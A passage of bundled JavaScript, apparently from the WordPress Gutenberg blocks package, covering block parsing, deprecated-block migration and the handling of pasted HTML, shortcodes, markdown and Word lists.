9062 updatedBlockAttributes = fixGlobalAttribute(
9063 updatedBlockAttributes,
9064 blockType,
9065 originalContent,
9066 "anchor",
9067 "data-anchor",
9068 ANCHOR_ATTR_SCHEMA
9069 );
9070 return {
9071 ...block,
9072 attributes: updatedBlockAttributes
9073 };
9074 }
9075
9076 // packages/blocks/build-module/api/parser/apply-block-deprecated-versions.mjs
9077 function stubFalse() {
9078 return false;
9079 }
9080 function applyBlockDeprecatedVersions(block, rawBlock, blockType) {
9081 const parsedAttributes = rawBlock.attrs;
9082 const { deprecated: deprecatedDefinitions } = blockType;
9083 if (!deprecatedDefinitions || !deprecatedDefinitions.length) {
9084 return block;
9085 }
9086 for (let i2 = 0; i2 < deprecatedDefinitions.length; i2++) {
9087 const { isEligible = stubFalse } = deprecatedDefinitions[i2];
9088 if (block.isValid && !isEligible(parsedAttributes, block.innerBlocks, {
9089 blockNode: rawBlock,
9090 block
9091 })) {
9092 continue;
9093 }
9094 const deprecatedBlockType = Object.assign(
9095 omit(blockType, DEPRECATED_ENTRY_KEYS),
9096 deprecatedDefinitions[i2]
9097 );
9098 let migratedBlock = {
9099 ...block,
9100 attributes: getBlockAttributes(
9101 deprecatedBlockType,
9102 block.originalContent,
9103 parsedAttributes
9104 )
9105 };
9106 let [isValid] = validateBlock(migratedBlock, deprecatedBlockType);
9107 if (!isValid) {
9108 migratedBlock = applyBuiltInValidationFixes(
9109 migratedBlock,
9110 deprecatedBlockType
9111 );
9112 [isValid] = validateBlock(migratedBlock, deprecatedBlockType);
9113 }
9114 if (!isValid) {
9115 continue;
9116 }
9117 let migratedInnerBlocks = migratedBlock.innerBlocks;
9118 let migratedAttributes = migratedBlock.attributes;
9119 const { migrate } = deprecatedBlockType;
9120 if (migrate) {
9121 let migrated = migrate(migratedAttributes, block.innerBlocks);
9122 if (!Array.isArray(migrated)) {
9123 migrated = [migrated];
9124 }
9125 [
9126 migratedAttributes = parsedAttributes,
9127 migratedInnerBlocks = block.innerBlocks
9128 ] = migrated;
9129 }
9130 block = {
9131 ...block,
9132 attributes: migratedAttributes,
9133 innerBlocks: migratedInnerBlocks,
9134 isValid: true,
9135 validationIssues: []
9136 };
9137 }
9138 return block;
9139 }
9140
9141 // packages/blocks/build-module/api/parser/index.mjs
9142 function convertLegacyBlocks(rawBlock) {
9143 const [correctName, correctedAttributes] = convertLegacyBlockNameAndAttributes(
9144 rawBlock.blockName,
9145 rawBlock.attrs
9146 );
9147 return {
9148 ...rawBlock,
9149 blockName: correctName,
9150 attrs: correctedAttributes
9151 };
9152 }
9153 function normalizeRawBlock(rawBlock, options) {
9154 const fallbackBlockName = getFreeformContentHandlerName();
9155 const rawBlockName = rawBlock.blockName || getFreeformContentHandlerName();
9156 const rawAttributes = rawBlock.attrs || {};
9157 const rawInnerBlocks = rawBlock.innerBlocks || [];
9158 let rawInnerHTML = rawBlock.innerHTML.trim();
9159 if (rawBlockName === fallbackBlockName && rawBlockName === "core/freeform" && !options?.__unstableSkipAutop) {
9160 rawInnerHTML = (0, import_autop2.autop)(rawInnerHTML).trim();
9161 }
9162 return {
9163 ...rawBlock,
9164 blockName: rawBlockName,
9165 attrs: rawAttributes,
9166 innerHTML: rawInnerHTML,
9167 innerBlocks: rawInnerBlocks
9168 };
9169 }
9170 function createMissingBlockType(rawBlock) {
9171 const unregisteredFallbackBlock = getUnregisteredTypeHandlerName() || getFreeformContentHandlerName();
9172 const originalUndelimitedContent = serializeRawBlock(rawBlock, {
9173 isCommentDelimited: false
9174 });
9175 const originalContent = serializeRawBlock(rawBlock, {
9176 isCommentDelimited: true
9177 });
9178 return {
9179 blockName: unregisteredFallbackBlock,
9180 attrs: {
9181 originalName: rawBlock.blockName,
9182 originalContent,
9183 originalUndelimitedContent
9184 },
9185 innerHTML: rawBlock.blockName ? originalContent : rawBlock.innerHTML,
9186 innerBlocks: rawBlock.innerBlocks,
9187 innerContent: rawBlock.innerContent
9188 };
9189 }
9190 function applyBlockValidation(unvalidatedBlock, blockType) {
9191 const [isValid] = validateBlock(unvalidatedBlock, blockType);
9192 if (isValid) {
9193 return { ...unvalidatedBlock, isValid, validationIssues: [] };
9194 }
9195 const fixedBlock = applyBuiltInValidationFixes(
9196 unvalidatedBlock,
9197 blockType
9198 );
9199 const [isFixedValid, validationIssues] = validateBlock(
9200 fixedBlock,
9201 blockType
9202 );
9203 return { ...fixedBlock, isValid: isFixedValid, validationIssues };
9204 }
9205 function parseRawBlock(rawBlock, options) {
9206 let normalizedBlock = normalizeRawBlock(rawBlock, options);
9207 normalizedBlock = convertLegacyBlocks(normalizedBlock);
9208 let blockType = getBlockType(normalizedBlock.blockName);
9209 if (!blockType) {
9210 normalizedBlock = createMissingBlockType(normalizedBlock);
9211 blockType = getBlockType(normalizedBlock.blockName);
9212 }
9213 const isFallbackBlock = normalizedBlock.blockName === getFreeformContentHandlerName() || normalizedBlock.blockName === getUnregisteredTypeHandlerName();
9214 if (!blockType || !normalizedBlock.innerHTML && isFallbackBlock) {
9215 return;
9216 }
9217 const parsedInnerBlocks = normalizedBlock.innerBlocks.map((innerBlock) => parseRawBlock(innerBlock, options)).filter((innerBlock) => !!innerBlock);
9218 const parsedBlock = createBlock(
9219 normalizedBlock.blockName,
9220 getBlockAttributes(
9221 blockType,
9222 normalizedBlock.innerHTML,
9223 normalizedBlock.attrs
9224 ),
9225 parsedInnerBlocks
9226 );
9227 parsedBlock.originalContent = normalizedBlock.innerHTML;
9228 const validatedBlock = applyBlockValidation(parsedBlock, blockType);
9229 const { validationIssues } = validatedBlock;
9230 const updatedBlock = applyBlockDeprecatedVersions(
9231 validatedBlock,
9232 normalizedBlock,
9233 blockType
9234 );
9235 if (!updatedBlock.isValid) {
9236 updatedBlock.__unstableBlockSource = rawBlock;
9237 }
9238 if (!validatedBlock.isValid && updatedBlock.isValid && !options?.__unstableSkipMigrationLogs) {
9239 console.groupCollapsed("Updated Block: %s", blockType.name);
9240 console.info(
9241 "Block successfully updated for `%s` (%o).\n\nNew content generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s",
9242 blockType.name,
9243 blockType,
9244 getSaveContent(blockType, updatedBlock.attributes),
9245 updatedBlock.originalContent
9246 );
9247 console.groupEnd();
9248 } else if (!validatedBlock.isValid && !updatedBlock.isValid) {
9249 validationIssues.forEach(({ log: log2, args }) => log2(...args));
9250 }
9251 return updatedBlock;
9252 }
9253 function parse2(content, options) {
9254 return (0, import_block_serialization_default_parser.parse)(content).reduce((accumulator, rawBlock) => {
9255 const block = parseRawBlock(rawBlock, options);
9256 if (block) {
9257 accumulator.push(block);
9258 }
9259 return accumulator;
9260 }, []);
9261 }
9262
9263 // packages/blocks/build-module/api/raw-handling/index.mjs
9264 var import_deprecated10 = __toESM(require_deprecated(), 1);
9265 var import_dom12 = __toESM(require_dom(), 1);
9266
9267 // packages/blocks/build-module/api/raw-handling/html-to-blocks.mjs
9268 var import_element4 = __toESM(require_element(), 1);
9269
9270 // packages/blocks/build-module/api/raw-handling/get-raw-transforms.mjs
9271 function getRawTransforms() {
9272 return getBlockTransforms("from").filter(({ type }) => type === "raw").map((transform) => {
9273 return transform.isMatch ? transform : {
9274 ...transform,
9275 isMatch: (node) => transform.selector && node.matches(transform.selector)
9276 };
9277 });
9278 }
9279
9280 // packages/blocks/build-module/api/raw-handling/html-to-blocks.mjs
9281 function htmlToBlocks(html2, handler) {
9282 const doc = document.implementation.createHTMLDocument("");
9283 doc.body.innerHTML = html2;
9284 return Array.from(doc.body.children).flatMap((node) => {
9285 const rawTransform = findTransform(
9286 getRawTransforms(),
9287 ({ isMatch }) => isMatch(node)
9288 );
9289 if (!rawTransform) {
9290 if (import_element4.Platform.isNative) {
9291 return parse2(
9292 `<!-- wp:html -->${node.outerHTML}<!-- /wp:html -->`
9293 );
9294 }
9295 return createBlock(
9296 // Should not be hardcoded.
9297 "core/html",
9298 getBlockAttributes("core/html", node.outerHTML)
9299 );
9300 }
9301 const { transform, blockName } = rawTransform;
9302 if (transform) {
9303 const block = transform(node, handler);
9304 if (node.hasAttribute("class")) {
9305 block.attributes.className = node.getAttribute("class");
9306 }
9307 return block;
9308 }
9309 return createBlock(
9310 blockName,
9311 getBlockAttributes(blockName, node.outerHTML)
9312 );
9313 });
9314 }
9315
9316 // packages/blocks/build-module/api/raw-handling/normalise-blocks.mjs
9317 var import_dom2 = __toESM(require_dom(), 1);
9318 function normaliseBlocks(HTML, options = {}) {
9319 const decuDoc = document.implementation.createHTMLDocument("");
9320 const accuDoc = document.implementation.createHTMLDocument("");
9321 const decu = decuDoc.body;
9322 const accu = accuDoc.body;
9323 decu.innerHTML = HTML;
9324 while (decu.firstChild) {
9325 const node = decu.firstChild;
9326 if (node.nodeType === node.TEXT_NODE) {
9327 if ((0, import_dom2.isEmpty)(node)) {
9328 decu.removeChild(node);
9329 } else {
9330 if (!accu.lastChild || accu.lastChild.nodeName !== "P") {
9331 accu.appendChild(accuDoc.createElement("P"));
9332 }
9333 accu.lastChild.appendChild(node);
9334 }
9335 } else if (node.nodeType === node.ELEMENT_NODE) {
9336 if (node.nodeName === "BR") {
9337 if (node.nextSibling && node.nextSibling.nodeName === "BR") {
9338 accu.appendChild(accuDoc.createElement("P"));
9339 decu.removeChild(node.nextSibling);
9340 }
9341 if (accu.lastChild && accu.lastChild.nodeName === "P" && accu.lastChild.hasChildNodes()) {
9342 accu.lastChild.appendChild(node);
9343 } else {
9344 decu.removeChild(node);
9345 }
9346 } else if (node.nodeName === "P") {
9347 if ((0, import_dom2.isEmpty)(node) && !options.raw) {
9348 decu.removeChild(node);
9349 } else {
9350 accu.appendChild(node);
9351 }
9352 } else if ((0, import_dom2.isPhrasingContent)(node)) {
9353 if (!accu.lastChild || accu.lastChild.nodeName !== "P") {
9354 accu.appendChild(accuDoc.createElement("P"));
9355 }
9356 accu.lastChild.appendChild(node);
9357 } else {
9358 accu.appendChild(node);
9359 }
9360 } else {
9361 decu.removeChild(node);
9362 }
9363 }
9364 return accu.innerHTML;
9365 }
9366
9367 // packages/blocks/build-module/api/raw-handling/special-comment-converter.mjs
9368 var import_dom3 = __toESM(require_dom(), 1);
9369 function specialCommentConverter(node, doc) {
9370 if (node.nodeType !== node.COMMENT_NODE) {
9371 return;
9372 }
9373 if (node.nodeValue !== "nextpage" && node.nodeValue.indexOf("more") !== 0) {
9374 return;
9375 }
9376 const block = createBlock2(node, doc);
9377 if (!node.parentNode || node.parentNode.nodeName !== "P") {
9378 (0, import_dom3.replace)(node, block);
9379 } else {
9380 const childNodes = Array.from(node.parentNode.childNodes);
9381 const nodeIndex = childNodes.indexOf(node);
9382 const wrapperNode = node.parentNode.parentNode || doc.body;
9383 const paragraphBuilder = (acc, child) => {
9384 if (!acc) {
9385 acc = doc.createElement("p");
9386 }
9387 acc.appendChild(child);
9388 return acc;
9389 };
9390 [
9391 childNodes.slice(0, nodeIndex).reduce(paragraphBuilder, null),
9392 block,
9393 childNodes.slice(nodeIndex + 1).reduce(paragraphBuilder, null)
9394 ].forEach(
9395 (element) => element && wrapperNode.insertBefore(element, node.parentNode)
9396 );
9397 (0, import_dom3.remove)(node.parentNode);
9398 }
9399 }
9400 function createBlock2(commentNode, doc) {
9401 if (commentNode.nodeValue === "nextpage") {
9402 return createNextpage(doc);
9403 }
9404 const customText = commentNode.nodeValue.slice(4).trim();
9405 let sibling = commentNode;
9406 let noTeaser = false;
9407 while (sibling = sibling.nextSibling) {
9408 if (sibling.nodeType === sibling.COMMENT_NODE && sibling.nodeValue === "noteaser") {
9409 noTeaser = true;
9410 (0, import_dom3.remove)(sibling);
9411 break;
9412 }
9413 }
9414 return createMore(customText, noTeaser, doc);
9415 }
9416 function createMore(customText, noTeaser, doc) {
9417 const node = doc.createElement("wp-block");
9418 node.dataset.block = "core/more";
9419 if (customText) {
9420 node.dataset.customText = customText;
9421 }
9422 if (noTeaser) {
9423 node.dataset.noTeaser = "";
9424 }
9425 return node;
9426 }
9427 function createNextpage(doc) {
9428 const node = doc.createElement("wp-block");
9429 node.dataset.block = "core/nextpage";
9430 return node;
9431 }
9432
9433 // packages/blocks/build-module/api/raw-handling/list-reducer.mjs
9434 var import_dom4 = __toESM(require_dom(), 1);
9435 function isList(node) {
9436 return node.nodeName === "OL" || node.nodeName === "UL";
9437 }
9438 function shallowTextContent(element) {
9439 return Array.from(element.childNodes).map(({ nodeValue = "" }) => nodeValue).join("");
9440 }
9441 function listReducer(node) {
9442 if (!isList(node)) {
9443 return;
9444 }
9445 const list = node;
9446 const prevElement = node.previousElementSibling;
9447 if (prevElement && prevElement.nodeName === node.nodeName && list.children.length === 1) {
9448 while (list.firstChild) {
9449 prevElement.appendChild(list.firstChild);
9450 }
9451 list.parentNode.removeChild(list);
9452 }
9453 const parentElement = node.parentNode;
9454 if (parentElement && parentElement.nodeName === "LI" && parentElement.children.length === 1 && !/\S/.test(shallowTextContent(parentElement))) {
9455 const parentListItem = parentElement;
9456 const prevListItem = parentListItem.previousElementSibling;
9457 const parentList = parentListItem.parentNode;
9458 if (prevListItem) {
9459 prevListItem.appendChild(list);
9460 parentList.removeChild(parentListItem);
9461 }
9462 }
9463 if (parentElement && isList(parentElement)) {
9464 const prevListItem = node.previousElementSibling;
9465 if (prevListItem) {
9466 prevListItem.appendChild(node);
9467 } else {
9468 (0, import_dom4.unwrap)(node);
9469 }
9470 }
9471 }
9472
9473 // packages/blocks/build-module/api/raw-handling/blockquote-normaliser.mjs
9474 function blockquoteNormaliser(options) {
9475 return (node) => {
9476 if (node.nodeName !== "BLOCKQUOTE") {
9477 return;
9478 }
9479 node.innerHTML = normaliseBlocks(node.innerHTML, options);
9480 };
9481 }
9482
9483 // packages/blocks/build-module/api/raw-handling/figure-content-reducer.mjs
9484 var import_dom5 = __toESM(require_dom(), 1);
9485 function isFigureContent(node, schema) {
9486 const tag = node.nodeName.toLowerCase();
9487 if (tag === "figcaption" || (0, import_dom5.isTextContent)(node)) {
9488 return false;
9489 }
9490 return tag in (schema?.figure?.children ?? {});
9491 }
9492 function canHaveAnchor(node, schema) {
9493 const tag = node.nodeName.toLowerCase();
9494 return tag in (schema?.figure?.children?.a?.children ?? {});
9495 }
9496 function wrapFigureContent(element, beforeElement = element) {
9497 const figure = element.ownerDocument.createElement("figure");
9498 beforeElement.parentNode.insertBefore(figure, beforeElement);
9499 figure.appendChild(element);
9500 }
9501 function figureContentReducer(node, doc, schema) {
9502 if (!isFigureContent(node, schema)) {
9503 return;
9504 }
9505 let nodeToInsert = node;
9506 const parentNode = node.parentNode;
9507 if (canHaveAnchor(node, schema) && parentNode.nodeName === "A" && parentNode.childNodes.length === 1) {
9508 nodeToInsert = node.parentNode;
9509 }
9510 const wrapper = nodeToInsert.closest("p,div");
9511 if (wrapper) {
9512 if (!node.classList) {
9513 wrapFigureContent(nodeToInsert, wrapper);
9514 } else if (node.classList.contains("alignright") || node.classList.contains("alignleft") || node.classList.contains("aligncenter") || !wrapper.textContent.trim()) {
9515 wrapFigureContent(nodeToInsert, wrapper);
9516 }
9517 } else {
9518 wrapFigureContent(nodeToInsert);
9519 }
9520 }
9521
9522 // packages/blocks/build-module/api/raw-handling/shortcode-converter.mjs
9523 var import_shortcode = __toESM(require_shortcode(), 1);
9524 var castArray = (maybeArray) => Array.isArray(maybeArray) ? maybeArray : [maybeArray];
9525 var beforeLineRegexp = /(\n|<p>)\s*$/;
9526 var afterLineRegexp = /^\s*(\n|<\/p>)/;
9527 function segmentHTMLToShortcodeBlock(HTML, lastIndex = 0, excludedBlockNames = []) {
9528 const transformsFrom = getBlockTransforms("from");
9529 const transformation = findTransform(
9530 transformsFrom,
9531 (transform) => excludedBlockNames.indexOf(transform.blockName) === -1 && transform.type === "shortcode" && castArray(transform.tag).some(
9532 (tag) => (0, import_shortcode.regexp)(tag).test(HTML)
9533 )
9534 );
9535 if (!transformation) {
9536 return [HTML];
9537 }
9538 const transformTags = castArray(transformation.tag);
9539 const transformTag = transformTags.find(
9540 (tag) => (0, import_shortcode.regexp)(tag).test(HTML)
9541 );
9542 let match;
9543 const previousIndex = lastIndex;
9544 if (match = (0, import_shortcode.next)(transformTag, HTML, lastIndex)) {
9545 lastIndex = match.index + match.content.length;
9546 const beforeHTML = HTML.substr(0, match.index);
9547 const afterHTML = HTML.substr(lastIndex);
9548 if (!match.shortcode.content?.includes("<") && !(beforeLineRegexp.test(beforeHTML) && afterLineRegexp.test(afterHTML))) {
9549 return segmentHTMLToShortcodeBlock(HTML, lastIndex);
9550 }
9551 if (transformation.isMatch && !transformation.isMatch(match.shortcode.attrs)) {
9552 return segmentHTMLToShortcodeBlock(HTML, previousIndex, [
9553 ...excludedBlockNames,
9554 transformation.blockName
9555 ]);
9556 }
9557 let blocks = [];
9558 if (typeof transformation.transform === "function") {
9559 blocks = [].concat(
9560 transformation.transform(match.shortcode.attrs, match)
9561 );
9562 blocks = blocks.map((block) => {
9563 block.originalContent = match.shortcode.content;
9564 return applyBuiltInValidationFixes(
9565 block,
9566 getBlockType(block.name)
9567 );
9568 });
9569 } else {
9570 const attributes = Object.fromEntries(
9571 Object.entries(transformation.attributes).filter(([, schema]) => schema.shortcode).map(([key, schema]) => [
9572 key,
9573 schema.shortcode(match.shortcode.attrs, match)
9574 ])
9575 );
9576 const blockType = getBlockType(transformation.blockName);
9577 if (!blockType) {
9578 return [HTML];
9579 }
9580 const transformationBlockType = {
9581 ...blockType,
9582 attributes: transformation.attributes
9583 };
9584 let block = createBlock(
9585 transformation.blockName,
9586 getBlockAttributes(
9587 transformationBlockType,
9588 match.shortcode.content,
9589 attributes
9590 )
9591 );
9592 block.originalContent = match.shortcode.content;
9593 block = applyBuiltInValidationFixes(
9594 block,
9595 transformationBlockType
9596 );
9597 blocks = [block];
9598 }
9599 return [
9600 ...segmentHTMLToShortcodeBlock(
9601 beforeHTML.replace(beforeLineRegexp, "")
9602 ),
9603 ...blocks,
9604 ...segmentHTMLToShortcodeBlock(
9605 afterHTML.replace(afterLineRegexp, "")
9606 )
9607 ];
9608 }
9609 return [HTML];
9610 }
9611 var shortcode_converter_default = segmentHTMLToShortcodeBlock;
9612
9613 // packages/blocks/build-module/api/raw-handling/utils.mjs
9614 var import_dom6 = __toESM(require_dom(), 1);
9615 function getBlockContentSchemaFromTransforms(transforms, context) {
9616 const phrasingContentSchema = (0, import_dom6.getPhrasingContentSchema)(context);
9617 const schemaArgs = { phrasingContentSchema, isPaste: context === "paste" };
9618 const schemas = transforms.map(({ isMatch, blockName, schema }) => {
9619 const hasAnchorSupport = hasBlockSupport(blockName, "anchor");
9620 schema = typeof schema === "function" ? schema(schemaArgs) : schema;
9621 if (!hasAnchorSupport && !isMatch) {
9622 return schema;
9623 }
9624 if (!schema) {
9625 return {};
9626 }
9627 return Object.fromEntries(
9628 Object.entries(schema).map(([key, value]) => {
9629 let attributes = value.attributes || [];
9630 if (hasAnchorSupport) {
9631 attributes = [...attributes, "id"];
9632 }
9633 return [
9634 key,
9635 {
9636 ...value,
9637 attributes,
9638 isMatch: isMatch ? isMatch : void 0
9639 }
9640 ];
9641 })
9642 );
9643 });
9644 function mergeTagNameSchemaProperties(objValue, srcValue, key) {
9645 switch (key) {
9646 case "children": {
9647 if (objValue === "*" || srcValue === "*") {
9648 return "*";
9649 }
9650 return { ...objValue, ...srcValue };
9651 }
9652 case "attributes":
9653 case "require": {
9654 return [...objValue || [], ...srcValue || []];
9655 }
9656 case "isMatch": {
9657 if (!objValue || !srcValue) {
9658 return void 0;
9659 }
9660 return (...args) => {
9661 return objValue(...args) || srcValue(...args);
9662 };
9663 }
9664 }
9665 }
9666 function mergeTagNameSchemas(a2, b2) {
9667 for (const key in b2) {
9668 a2[key] = a2[key] ? mergeTagNameSchemaProperties(a2[key], b2[key], key) : { ...b2[key] };
9669 }
9670 return a2;
9671 }
9672 function mergeSchemas(a2, b2) {
9673 for (const key in b2) {
9674 a2[key] = a2[key] ? mergeTagNameSchemas(a2[key], b2[key]) : { ...b2[key] };
9675 }
9676 return a2;
9677 }
9678 return schemas.reduce(mergeSchemas, {});
9679 }
9680 function getBlockContentSchema(context) {
9681 return getBlockContentSchemaFromTransforms(getRawTransforms(), context);
9682 }
9683 function isPlain(HTML) {
9684 if (!/<(?!br[ />])/i.test(HTML)) {
9685 return true;
9686 }
9687 const doc = document.implementation.createHTMLDocument("");
9688 doc.body.innerHTML = HTML;
9689 if (doc.body.children.length !== 1) {
9690 return false;
9691 }
9692 const wrapper = doc.body.children.item(0);
9693 const descendants = wrapper.getElementsByTagName("*");
9694 for (let i2 = 0; i2 < descendants.length; i2++) {
9695 if (descendants.item(i2).tagName !== "BR") {
9696 return false;
9697 }
9698 }
9699 if (wrapper.tagName !== "SPAN") {
9700 return false;
9701 }
9702 return true;
9703 }
9704 function deepFilterNodeList(nodeList, filters, doc, schema) {
9705 Array.from(nodeList).forEach((node) => {
9706 deepFilterNodeList(node.childNodes, filters, doc, schema);
9707 filters.forEach((item) => {
9708 if (!doc.contains(node)) {
9709 return;
9710 }
9711 item(node, doc, schema);
9712 });
9713 });
9714 }
9715 function deepFilterHTML(HTML, filters = [], schema) {
9716 const doc = document.implementation.createHTMLDocument("");
9717 doc.body.innerHTML = HTML;
9718 deepFilterNodeList(doc.body.childNodes, filters, doc, schema);
9719 return doc.body.innerHTML;
9720 }
9721 function getSibling(node, which) {
9722 const sibling = node[`${which}Sibling`];
9723 if (sibling && (0, import_dom6.isPhrasingContent)(sibling)) {
9724 return sibling;
9725 }
9726 const { parentNode } = node;
9727 if (!parentNode || !(0, import_dom6.isPhrasingContent)(parentNode)) {
9728 return;
9729 }
9730 return getSibling(parentNode, which);
9731 }
9732
9733 // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
9734 var import_dom11 = __toESM(require_dom(), 1);
9735
9736 // packages/blocks/build-module/api/raw-handling/comment-remover.mjs
9737 var import_dom7 = __toESM(require_dom(), 1);
9738 function commentRemover(node) {
9739 if (node.nodeType === node.COMMENT_NODE) {
9740 (0, import_dom7.remove)(node);
9741 }
9742 }
9743
9744 // packages/blocks/build-module/api/raw-handling/is-inline-content.mjs
9745 var import_dom8 = __toESM(require_dom(), 1);
9746 function isInline(node, contextTag) {
9747 if ((0, import_dom8.isTextContent)(node)) {
9748 return true;
9749 }
9750 if (!contextTag) {
9751 return false;
9752 }
9753 const tag = node.nodeName.toLowerCase();
9754 const inlineAllowedTagGroups = [
9755 ["ul", "li", "ol"],
9756 ["h1", "h2", "h3", "h4", "h5", "h6"]
9757 ];
9758 return inlineAllowedTagGroups.some(
9759 (tagGroup) => [tag, contextTag].filter((t3) => !tagGroup.includes(t3)).length === 0
9760 );
9761 }
9762 function deepCheck(nodes, contextTag) {
9763 return nodes.every(
9764 (node) => isInline(node, contextTag) && deepCheck(Array.from(node.children), contextTag)
9765 );
9766 }
9767 function isDoubleBR(node) {
9768 return node.nodeName === "BR" && node.previousSibling && node.previousSibling.nodeName === "BR";
9769 }
9770 function isInlineContent(HTML, contextTag) {
9771 const doc = document.implementation.createHTMLDocument("");
9772 doc.body.innerHTML = HTML;
9773 const nodes = Array.from(doc.body.children);
9774 return !nodes.some(isDoubleBR) && deepCheck(nodes, contextTag);
9775 }
9776
9777 // packages/blocks/build-module/api/raw-handling/phrasing-content-reducer.mjs
9778 var import_dom9 = __toESM(require_dom(), 1);
9779 function phrasingContentReducer(node, doc) {
9780 if (node.nodeName === "SPAN" && node.style) {
9781 const {
9782 fontWeight,
9783 fontStyle,
9784 textDecorationLine,
9785 textDecoration,
9786 verticalAlign
9787 } = node.style;
9788 if (fontWeight === "bold" || fontWeight === "700") {
9789 (0, import_dom9.wrap)(doc.createElement("strong"), node);
9790 }
9791 if (fontStyle === "italic") {
9792 (0, import_dom9.wrap)(doc.createElement("em"), node);
9793 }
9794 if (textDecorationLine === "line-through" || textDecoration.includes("line-through")) {
9795 (0, import_dom9.wrap)(doc.createElement("s"), node);
9796 }
9797 if (verticalAlign === "super") {
9798 (0, import_dom9.wrap)(doc.createElement("sup"), node);
9799 } else if (verticalAlign === "sub") {
9800 (0, import_dom9.wrap)(doc.createElement("sub"), node);
9801 }
9802 } else if (node.nodeName === "B") {
9803 node = (0, import_dom9.replaceTag)(node, "strong");
9804 } else if (node.nodeName === "I") {
9805 node = (0, import_dom9.replaceTag)(node, "em");
9806 } else if (node.nodeName === "A") {
9807 if (node.target && node.target.toLowerCase() === "_blank") {
9808 node.rel = "noreferrer noopener";
9809 } else {
9810 node.removeAttribute("target");
9811 node.removeAttribute("rel");
9812 }
9813 if (node.name && !node.id) {
9814 node.id = node.name;
9815 }
9816 if (node.id && !node.ownerDocument.querySelector(`[href="#${node.id}"]`)) {
9817 node.removeAttribute("id");
9818 }
9819 }
9820 }
9821
9822 // packages/blocks/build-module/api/raw-handling/head-remover.mjs
9823 function headRemover(node) {
9824 if (node.nodeName !== "SCRIPT" && node.nodeName !== "NOSCRIPT" && node.nodeName !== "TEMPLATE" && node.nodeName !== "STYLE") {
9825 return;
9826 }
9827 node.parentNode.removeChild(node);
9828 }
9829
9830 // packages/blocks/build-module/api/raw-handling/ms-list-ignore.mjs
9831 function msListIgnore(node) {
9832 if (node.nodeType !== node.ELEMENT_NODE) {
9833 return;
9834 }
9835 const style = node.getAttribute("style");
9836 if (!style || !style.includes("mso-list")) {
9837 return;
9838 }
9839 const rules = style.split(";").reduce((acc, rule) => {
9840 const [key, value] = rule.split(":");
9841 if (key && value) {
9842 acc[key.trim().toLowerCase()] = value.trim().toLowerCase();
9843 }
9844 return acc;
9845 }, {});
9846 if (rules["mso-list"] === "ignore") {
9847 node.remove();
9848 }
9849 }
9850
9851 // packages/blocks/build-module/api/raw-handling/ms-list-converter.mjs
9852 function isList2(node) {
9853 return node.nodeName === "OL" || node.nodeName === "UL";
9854 }
9855 function msListConverter(node, doc) {
9856 if (node.nodeName !== "P") {
9857 return;
9858 }
9859 const style = node.getAttribute("style");
9860 if (!style || !style.includes("mso-list")) {
9861 return;
9862 }
9863 const prevNode = node.previousElementSibling;
9864 if (!prevNode || !isList2(prevNode)) {
9865 const type = node.textContent.trim().slice(0, 1);
9866 const isNumeric = /[1iIaA]/.test(type);
9867 const newListNode = doc.createElement(isNumeric ? "ol" : "ul");
9868 if (isNumeric) {
9869 newListNode.setAttribute("type", type);
9870 }
9871 node.parentNode.insertBefore(newListNode, node);
9872 }
9873 const listNode = node.previousElementSibling;
9874 const listType = listNode.nodeName;
9875 const listItem = doc.createElement("li");
9876 let receivingNode = listNode;
9877 listItem.innerHTML = deepFilterHTML(node.innerHTML, [msListIgnore]);
9878 const matches = /mso-list\s*:[^;]+level([0-9]+)/i.exec(style);
9879 let level = matches ? parseInt(matches[1], 10) - 1 || 0 : 0;
9880 while (level--) {
9881 receivingNode = receivingNode.lastChild || receivingNode;
9882 if (isList2(receivingNode)) {
9883 receivingNode = receivingNode.lastChild || receivingNode;
9884 }
9885 }
9886 if (!isList2(receivingNode)) {
9887 receivingNode = receivingNode.appendChild(
9888 doc.createElement(listType)
9889 );
9890 }
9891 receivingNode.appendChild(listItem);
9892 node.parentNode.removeChild(node);
9893 }
9894
9895 // packages/blocks/build-module/api/raw-handling/image-corrector.mjs
9896 var import_blob = __toESM(require_blob(), 1);
9897 function imageCorrector(node) {
9898 if (node.nodeName !== "IMG") {
9899 return;
9900 }
9901 if (node.src.indexOf("file:") === 0) {
9902 node.src = "";
9903 }
9904 if (node.src.indexOf("data:") === 0) {
9905 const [properties, data] = node.src.split(",");
9906 const [type] = properties.slice(5).split(";");
9907 if (!data || !type) {
9908 node.src = "";
9909 return;
9910 }
9911 let decoded;
9912 try {
9913 decoded = atob(data);
9914 } catch (e2) {
9915 node.src = "";
9916 return;
9917 }
9918 const uint8Array = new Uint8Array(decoded.length);
9919 for (let i2 = 0; i2 < uint8Array.length; i2++) {
9920 uint8Array[i2] = decoded.charCodeAt(i2);
9921 }
9922 const name = type.replace("/", ".");
9923 const file = new window.File([uint8Array], name, { type });
9924 node.src = (0, import_blob.createBlobURL)(file);
9925 }
9926 if (node.height === 1 || node.width === 1) {
9927 node.parentNode.removeChild(node);
9928 }
9929 }
9930
9931 // packages/blocks/build-module/api/raw-handling/div-normaliser.mjs
9932 function divNormaliser(node) {
9933 if (node.nodeName !== "DIV") {
9934 return;
9935 }
9936 node.innerHTML = normaliseBlocks(node.innerHTML);
9937 }
9938
9939 // packages/blocks/build-module/api/raw-handling/markdown-converter.mjs
9940 var import_showdown = __toESM(require_showdown(), 1);
9941 var converter = new import_showdown.default.Converter({
9942 noHeaderId: true,
9943 tables: true,
9944 literalMidWordUnderscores: true,
9945 omitExtraWLInCodeBlocks: true,
9946 simpleLineBreaks: true,
9947 strikethrough: true
9948 });
9949 function slackMarkdownVariantCorrector(text2) {
9950 return text2.replace(
9951 /((?:^|\n)```)([^\n`]+)(```(?:$|\n))/,
9952 (match, p1, p2, p3) => `${p1}
9953${p2}
9954${p3}`
9955 );
9956 }
9957 function bulletsToAsterisks(text2) {
9958 return text2.replace(/(^|\n)•( +)/g, "$1*$2");
9959 }
9960 function markdownConverter(text2) {
9961 return converter.makeHtml(
9962 slackMarkdownVariantCorrector(bulletsToAsterisks(text2))
9963 );
9964 }
9965
9966 // packages/blocks/build-module/api/raw-handling/iframe-remover.mjs
9967 function iframeRemover(node) {
9968 if (node.nodeName === "IFRAME") {
9969 const text2 = node.ownerDocument.createTextNode(node.src);
9970 node.parentNode.replaceChild(text2, node);
9971 }
9972 }
9973
9974 // packages/blocks/build-module/api/raw-handling/google-docs-uid-remover.mjs
9975 var import_dom10 = __toESM(require_dom(), 1);
9976 function googleDocsUIdRemover(node) {
9977 if (!node.id || node.id.indexOf("docs-internal-guid-") !== 0) {
9978 return;
